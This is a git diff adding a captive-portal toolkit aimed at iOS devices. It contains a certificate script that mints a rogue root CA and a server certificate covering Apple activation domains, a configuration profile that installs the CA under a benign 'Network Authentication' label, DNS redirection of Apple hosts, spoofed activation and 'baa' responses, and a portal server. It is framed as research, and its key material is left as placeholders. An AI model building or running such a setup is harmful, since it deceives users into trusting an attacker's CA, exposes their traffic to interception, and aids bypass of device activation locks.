diff --git a/captive_portal/certs/generate_ca.sh b/captive_portal/certs/generate_ca.sh new file mode 100755 index 0000000..8118c5a --- /dev/null +++ b/captive_portal/certs/generate_ca.sh @@ -0,0 +1,83 @@ +#!/usr/bin/env bash +# +# generate_ca.sh -- Generate self-signed Root CA and server certificates +# for MITM interception of Apple activation domains. +# +# Output files (in same directory as this script): +# ca.key -- Root CA private key +# ca.crt -- Root CA certificate (install on device via profile) +# server.key -- Server private key +# server.csr -- Server certificate signing request +# server.crt -- Server certificate (signed by our CA) +# +# Usage: +# chmod +x generate_ca.sh +# ./generate_ca.sh +# + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +cd "$SCRIPT_DIR" + +echo "=== Certificate Generation ===" +echo "Output directory: $SCRIPT_DIR" +echo "" + +# ---- Root CA ----------------------------------------------------------- +echo "[1/4] Generating Root CA key..." +openssl genrsa -out ca.key 2048 2>/dev/null + +echo "[2/4] Generating Root CA certificate..." +openssl req -new -x509 \ + -key ca.key \ + -out ca.crt \ + -days 3650 \ + -subj "/CN=Network Security CA/O=WiFi Auth/C=US" \ + 2>/dev/null + +echo " Subject: CN=Network Security CA, O=WiFi Auth, C=US" +echo " Validity: 10 years" + +# ---- Server certificate ------------------------------------------------ +echo "[3/4] Generating server key + CSR..." +openssl genrsa -out server.key 2048 2>/dev/null + +openssl req -new \ + -key server.key \ + -out server.csr \ + -subj "/CN=albert.apple.com" \ + 2>/dev/null + +echo "[4/4] Signing server certificate with CA..." + +# SAN extension for all Apple domains we intercept +openssl x509 -req \ + -in server.csr \ + -CA ca.crt \ + -CAkey ca.key \ + -CAcreateserial \ + -out server.crt \ + -days 365 \ + -extfile <(printf "subjectAltName=DNS:albert.apple.com,DNS:humb.apple.com,DNS:gs.apple.com,DNS:mesu.apple.com,DNS:captive.apple.com,DNS:osrecovery.apple.com,DNS:identity.ess.apple.com,DNS:setup.icloud.com") \ + 2>/dev/null + +echo " CN: albert.apple.com" +echo " SANs: albert, humb, gs, mesu, captive, osrecovery, identity, setup" +echo " Validity: 1 year" + +# ---- Summary ----------------------------------------------------------- +echo "" +echo "=== Done ===" +echo "Files generated:" +for f in ca.key ca.crt server.key server.csr server.crt; do + if [ -f "$f" ]; then + size=$(wc -c < "$f" | tr -d ' ') + echo " $f ($size bytes)" + fi +done +echo "" +echo "Next steps:" +echo " 1. Run payloads/build_profile.py to embed ca.crt in a .mobileconfig" +echo " 2. Start server/portal.py to serve the profile" +echo " 3. Configure DNS with server/dns_config.py" diff --git a/captive_portal/payloads/build_profile.py b/captive_portal/payloads/build_profile.py new file mode 100755 index 0000000..e434ebc --- /dev/null +++ b/captive_portal/payloads/build_profile.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +""" +Build a .mobileconfig profile that installs our Root CA certificate. + +The profile is served by the captive portal to devices connecting to +the test network. Once installed, the device trusts our CA, allowing +the server to present valid TLS certificates for Apple domains. + +Usage: + python3 build_profile.py [ca_cert_path] [output_path] + +Defaults: + ca_cert_path = ../certs/ca.crt + output_path = network.mobileconfig (in this directory) +""" + +import os +import sys +import uuid +import plistlib + +# --------------------------------------------------------------------------- +# Paths +# --------------------------------------------------------------------------- +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +DEFAULT_CA_PATH = os.path.join(SCRIPT_DIR, "..", "certs", "ca.crt") +DEFAULT_OUTPUT = os.path.join(SCRIPT_DIR, "network.mobileconfig") + +# --------------------------------------------------------------------------- +# Profile identifiers +# --------------------------------------------------------------------------- +ORG_PREFIX = "com.wifi.auth" +PROFILE_DISPLAY_NAME = "Network Authentication" +PROFILE_DESCRIPTION = ( + "Installs a trusted root certificate for secure network access. " + "This profile is required to authenticate with this network." +) + + +def build_root_ca_payload(ca_cert_data): + """ + Build the Root CA trust payload. + + Args: + ca_cert_data: Raw bytes of the CA certificate (PEM or DER). + + Returns: + dict: A PayloadContent entry for com.apple.security.root. + """ + return { + "PayloadType": "com.apple.security.root", + "PayloadVersion": 1, + "PayloadIdentifier": f"{ORG_PREFIX}.ca", + "PayloadUUID": str(uuid.uuid4()), + "PayloadDisplayName": "Network Security CA", + "PayloadDescription": "Root certificate for network authentication.", + "PayloadContent": ca_cert_data, + "PayloadEnabled": True, + } + + +def build_wifi_payload(): + """ + Build an optional WiFi configuration payload. + + This auto-joins the device to our test network after profile install. + Adjust SSID and security settings for your test environment. + + Returns: + dict: A PayloadContent entry for com.apple.wifi.managed. + """ + # TODO: Update SSID_STR to match your test access point + return { + "PayloadType": "com.apple.wifi.managed", + "PayloadVersion": 1, + "PayloadIdentifier": f"{ORG_PREFIX}.wifi", + "PayloadUUID": str(uuid.uuid4()), + "PayloadDisplayName": "Test Network WiFi", + "PayloadDescription": "Auto-join configuration for the test network.", + "PayloadEnabled": True, + "SSID_STR": "ActivationTest", # TODO: Change to your SSID + "EncryptionType": "WPA2", + "AutoJoin": True, + "IsHotspot": False, + "HIDDEN_NETWORK": False, + # TODO: Add password if using WPA2-PSK + # "Password": "testpassword", + } + + +def build_profile(ca_cert_data, include_wifi=False): + """ + Assemble the complete .mobileconfig profile. + + Args: + ca_cert_data: Raw CA certificate bytes. + include_wifi: Whether to include WiFi auto-join payload. + + Returns: + bytes: Plist-encoded profile data. + """ + payloads = [build_root_ca_payload(ca_cert_data)] + + if include_wifi: + payloads.append(build_wifi_payload()) + + profile = { + "PayloadContent": payloads, + "PayloadDisplayName": PROFILE_DISPLAY_NAME, + "PayloadDescription": PROFILE_DESCRIPTION, + "PayloadIdentifier": f"{ORG_PREFIX}.profile", + "PayloadOrganization": "WiFi Auth", + "PayloadType": "Configuration", + "PayloadUUID": str(uuid.uuid4()), + "PayloadVersion": 1, + "PayloadRemovalDisallowed": False, + } + + return plistlib.dumps(profile, fmt=plistlib.FMT_XML) + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- +def main(): + ca_path = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_CA_PATH + output_path = sys.argv[2] if len(sys.argv) > 2 else DEFAULT_OUTPUT + + # Read CA certificate + if not os.path.isfile(ca_path): + print(f"Error: CA certificate not found at {ca_path}") + print("Run certs/generate_ca.sh first.") + sys.exit(1) + + with open(ca_path, "rb") as f: + ca_data = f.read() + + print(f"CA certificate: {ca_path} ({len(ca_data)} bytes)") + + # Build profile + profile_data = build_profile(ca_data, include_wifi=False) + + # Write output + with open(output_path, "wb") as f: + f.write(profile_data) + + print(f"Profile written: {output_path} ({len(profile_data)} bytes)") + print("Payloads: Root CA trust") + print("") + print("The portal server will serve this file at /profile.mobileconfig") + + +if __name__ == "__main__": + main() diff --git a/captive_portal/server/activation_responses.py b/captive_portal/server/activation_responses.py new file mode 100644 index 0000000..c20c07d --- /dev/null +++ b/captive_portal/server/activation_responses.py @@ -0,0 +1,210 @@ +#!/usr/bin/env python3 +""" +Activation protocol response builders. + +Constructs plist responses that mimic Apple's activation servers: + - albert.apple.com /deviceservices/drmHandshake + - albert.apple.com /deviceservices/deviceActivation + - humb.apple.com /humbug/baa + +All certificate/key data uses placeholder values marked with TODO. +The plist structure is derived from binary analysis of MobileActivation. +""" + +import plistlib +import uuid +import time +from datetime import datetime, timezone + +# --------------------------------------------------------------------------- +# Constants derived from MobileActivation binary analysis +# --------------------------------------------------------------------------- +ACTIVATION_USER_AGENT = "iOS Device Activator (MobileActivation-592.103.2)" +HOST_IDENTIFIER = "thephonedoesntcarewhatisendhereitseems" + +# TODO: Replace these with real extracted/generated values. +PLACEHOLDER_CERT = ( + b"-----BEGIN CERTIFICATE-----\n" + b"PLACEHOLDER_DEVICE_CERTIFICATE_DATA\n" + b"TODO: Replace with actual device certificate\n" + b"-----END CERTIFICATE-----\n" +) + +PLACEHOLDER_KEY_DATA = ( + b"PLACEHOLDER_FAIRPLAY_KEY_DATA_" + b"TODO_REPLACE_WITH_ACTUAL_FP_KEYS" +) + +PLACEHOLDER_FDR_BLOB = ( + b"PLACEHOLDER_FDR_BLOB_DATA_" + b"TODO_REPLACE_WITH_EXTRACTED_FDR" +) + +PLACEHOLDER_SERVER_KP = ( + b"PLACEHOLDER_SERVER_KP_DATA_" + b"TODO_REPLACE_WITH_SERVER_KEYPAIR" +) + +PLACEHOLDER_ACCOUNT_TOKEN = ( + b"PLACEHOLDER_ACCOUNT_TOKEN_" + b"TODO_REPLACE_WITH_VALID_TOKEN" +) + + +# --------------------------------------------------------------------------- +# drmHandshake response +# --------------------------------------------------------------------------- +def build_handshake_response(): + """ + Build a drmHandshake response plist. + + This is the first message in the activation handshake. The device + sends its FairPlay identity; the server replies with keying material + that the device uses to build the full activation request. + + Returns: + bytes: Binary plist data. + """ + response = { + "HandshakeResponseMessage": { + # Server key-pair material for the DRM session + # TODO: These must match the FairPlay protocol expectations + "serverKP": PLACEHOLDER_SERVER_KP, + + # Factory Data Reset blob -- device uses this to prove identity + "FDRBlob": PLACEHOLDER_FDR_BLOB, + + # Software Update info block + "SUInfo": { + "SUDocumentID": str(uuid.uuid4()), + "SUAllowedIn": True, + "SUVersion": "1.0", + }, + + # Session identifier + "sessionID": str(uuid.uuid4()), + + # Timestamp + "timestamp": int(time.time()), + }, + "Status": "SUCCESS", + "ProtocolVersion": "2", + } + + return plistlib.dumps(response, fmt=plistlib.FMT_XML) + + +# --------------------------------------------------------------------------- +# deviceActivation response +# --------------------------------------------------------------------------- +def build_activation_record(device_info): + """ + Build a factory activation record plist. + + Mimics the response from createFActivationInfo / deviceActivation. + The device validates this record to determine activation state. + + Args: + device_info: Raw activation-info payload from the device (for logging). + + Returns: + bytes: Binary plist data containing the activation record. + """ + # Unique identifiers for this activation + activation_id = str(uuid.uuid4()) + now_iso = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + + activation_record = { + # Account binding token + # TODO: Must be a valid token that passes MobileActivation validation + "AccountToken": PLACEHOLDER_ACCOUNT_TOKEN, + + # Device certificate chain + # TODO: Must match device's FairPlay identity + "DeviceCertificate": PLACEHOLDER_CERT, + + # FairPlay key data for DRM binding + # TODO: Derive from handshake session + "FairPlayKeyData": PLACEHOLDER_KEY_DATA, + + # Activation state + "ActivationState": "Activated", + "ActivationStateDescription": "Factory Activated", + + # Record metadata + "ActivationRecordID": activation_id, + "ActivationTimestamp": now_iso, + + # Brick state flag -- False means the device should boot normally + "BrickState": False, + + # Push registration (for APNs) + "PushToken": b"PLACEHOLDER_PUSH_TOKEN_TODO", + + # Provisioning info + "UniqueDeviceID": HOST_IDENTIFIER, + } + + # Wrap in the expected outer structure + response = { + "ActivationRecord": activation_record, + "Status": "SUCCESS", + "ProtocolVersion": "2", + "AccountTokenCertificate": PLACEHOLDER_CERT, + "DeviceActivation": { + "activation-record": plistlib.dumps( + activation_record, fmt=plistlib.FMT_XML + ), + }, + } + + return plistlib.dumps(response, fmt=plistlib.FMT_XML) + + +# --------------------------------------------------------------------------- +# humbug/baa response (VU#346053) +# --------------------------------------------------------------------------- +def build_baa_response(): + """ + Build a humb.apple.com/humbug/baa provisioning response. + + VU#346053: The baa (Brick Activation Avoidance) endpoint handles + device provisioning. A crafted response here can influence the + device's activation state machine. + + Returns: + bytes: Binary plist data. + """ + response = { + "ProtocolVersion": "2", + "Status": "SUCCESS", + + # Provisioning response body + "ProvisioningResponse": { + # TODO: The real response includes signed provisioning data + "ProvisioningCertificateChain": PLACEHOLDER_CERT, + "ProvisioningData": ( + b"PLACEHOLDER_PROVISIONING_DATA_" + b"TODO_REPLACE_WITH_CRAFTED_PAYLOAD" + ), + + # Nonce echo -- the device checks this matches its request + "Nonce": b"PLACEHOLDER_NONCE_TODO", + + # Timestamp for replay protection + "Timestamp": int(time.time()), + + # Session binding + "SessionID": str(uuid.uuid4()), + }, + + # BAA-specific flags + "BAAResponse": { + "AllowActivation": True, + "BrickState": False, + "GracePeriod": 0, + "Message": "Device provisioning successful", + }, + } + + return plistlib.dumps(response, fmt=plistlib.FMT_XML) diff --git a/captive_portal/server/dns_config.py b/captive_portal/server/dns_config.py new file mode 100755 index 0000000..1ce6d4c --- /dev/null +++ b/captive_portal/server/dns_config.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +""" +DNS configuration generator for captive portal. + +Generates a dnsmasq.conf that redirects Apple activation and captive +portal domains to the local server. Also configures DHCP so connected +devices use this server as their gateway and DNS resolver. + +Usage: + python3 dns_config.py [server_ip] [output_file] + +Defaults: + server_ip = 192.168.1.1 + output_file = stdout +""" + +import os +import sys +from datetime import datetime + +# --------------------------------------------------------------------------- +# Domains that must resolve to our server +# --------------------------------------------------------------------------- +REDIRECT_DOMAINS = [ + # Captive portal detection + "captive.apple.com", + "www.apple.com", + "www.appleiphonecell.com", + "www.itools.info", + "www.ibook.info", + "www.airport.us", + "www.thinkdifferent.us", + + # Activation servers + "albert.apple.com", + "humb.apple.com", + + # Software / catalog / provisioning + "gs.apple.com", + "mesu.apple.com", + "osrecovery.apple.com", + "isu.apple.com", + + # Identity services (optional, for deeper interception) + "identity.ess.apple.com", + "setup.icloud.com", +] + + +def generate_dnsmasq_conf( + server_ip="192.168.1.1", + dhcp_start=None, + dhcp_end=None, + log_path=None, +): + """ + Generate dnsmasq configuration text. + + Args: + server_ip: IP address of this server on the test network. + dhcp_start: First address in DHCP pool (default: server_ip range .100). + dhcp_end: Last address in DHCP pool (default: server_ip range .200). + log_path: Path for DNS query log (default: alongside this script). + + Returns: + str: Complete dnsmasq.conf content. + """ + # Derive DHCP range from server IP if not specified + prefix = ".".join(server_ip.split(".")[:3]) + if dhcp_start is None: + dhcp_start = f"{prefix}.100" + if dhcp_end is None: + dhcp_end = f"{prefix}.200" + if log_path is None: + log_path = os.path.join( + os.path.dirname(os.path.abspath(__file__)), "dns.log" + ) + + lines = [] + lines.append(f"# dnsmasq configuration for captive portal") + lines.append(f"# Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + lines.append(f"# Server IP: {server_ip}") + lines.append("") + + # -- DNS redirection -------------------------------------------------- + lines.append("# ---- Domain redirection ----") + lines.append("# Redirect Apple activation + captive portal domains") + for domain in REDIRECT_DOMAINS: + lines.append(f"address=/{domain}/{server_ip}") + lines.append("") + + # -- DHCP configuration ----------------------------------------------- + lines.append("# ---- DHCP ----") + lines.append(f"dhcp-range={dhcp_start},{dhcp_end},12h") + lines.append(f"dhcp-option=3,{server_ip} # Default gateway") + lines.append(f"dhcp-option=6,{server_ip} # DNS server") + lines.append("") + + # -- General settings ------------------------------------------------- + lines.append("# ---- General ----") + lines.append("no-resolv") + lines.append("no-hosts") + lines.append(f"listen-address={server_ip},127.0.0.1") + lines.append("bind-interfaces") + lines.append("") + + # -- Logging ---------------------------------------------------------- + lines.append("# ---- Logging ----") + lines.append("log-queries") + lines.append(f"log-facility={log_path}") + lines.append("") + + return "\n".join(lines) + "\n" + + +# --------------------------------------------------------------------------- +# CLI entry point +# --------------------------------------------------------------------------- +def main(): + server_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" + output_file = sys.argv[2] if len(sys.argv) > 2 else None + + conf = generate_dnsmasq_conf(server_ip=server_ip) + + if output_file: + with open(output_file, "w") as f: + f.write(conf) + print(f"Written to {output_file}") + else: + print(conf) + + +if __name__ == "__main__": + main() diff --git a/captive_portal/server/portal.py b/captive_portal/server/portal.py new file mode 100755 index 0000000..3094072 --- /dev/null +++ b/captive_portal/server/portal.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python3 +""" +Captive portal HTTP server for iOS activation research. + +Simulates Apple's captive portal detection and activation endpoints: + - captive.apple.com/hotspot-detect.html + - albert.apple.com/deviceservices/* + - humb.apple.com/humbug/baa + +All requests are logged for analysis. +""" + +import os +import sys +import json +import time +import logging +from datetime import datetime +from http.server import HTTPServer, BaseHTTPRequestHandler +from urllib.parse import parse_qs, unquote_plus + +# --------------------------------------------------------------------------- +# Paths +# --------------------------------------------------------------------------- +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +PROJECT_DIR = os.path.dirname(SCRIPT_DIR) +PAYLOADS_DIR = os.path.join(PROJECT_DIR, "payloads") +ACCESS_LOG = os.path.join(SCRIPT_DIR, "access.log") +REQUESTS_DIR = os.path.join(SCRIPT_DIR, "requests") + +os.makedirs(REQUESTS_DIR, exist_ok=True) + +# --------------------------------------------------------------------------- +# Logging +# --------------------------------------------------------------------------- +file_handler = logging.FileHandler(ACCESS_LOG) +file_handler.setFormatter(logging.Formatter( + "%(asctime)s | %(message)s", datefmt="%Y-%m-%d %H:%M:%S" +)) +stream_handler = logging.StreamHandler(sys.stdout) +stream_handler.setFormatter(logging.Formatter( + "\033[36m%(asctime)s\033[0m | %(message)s", datefmt="%H:%M:%S" +)) + +logger = logging.getLogger("portal") +logger.setLevel(logging.DEBUG) +logger.addHandler(file_handler) +logger.addHandler(stream_handler) + +# --------------------------------------------------------------------------- +# Lazy import of response builders +# --------------------------------------------------------------------------- +sys.path.insert(0, SCRIPT_DIR) +from activation_responses import ( + build_handshake_response, + build_activation_record, + build_baa_response, +) + +# --------------------------------------------------------------------------- +# HTML templates +# --------------------------------------------------------------------------- +STATUS_PAGE = """\ + +
Running -- all endpoints operational.
+Started: %(started)s
+This network requires authentication. Install the network profile + to continue.
+ Install Profile +The profile configures your device for secure access + to this network.
+